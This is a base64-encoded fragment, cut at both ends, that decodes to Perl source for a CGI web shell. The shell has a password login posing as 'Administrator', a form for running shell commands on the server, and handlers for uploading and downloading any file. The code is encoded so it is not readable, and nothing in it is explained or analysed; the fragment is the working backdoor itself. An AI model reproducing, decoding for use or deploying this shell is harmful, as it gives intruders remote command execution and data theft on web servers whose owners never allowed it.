VudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxl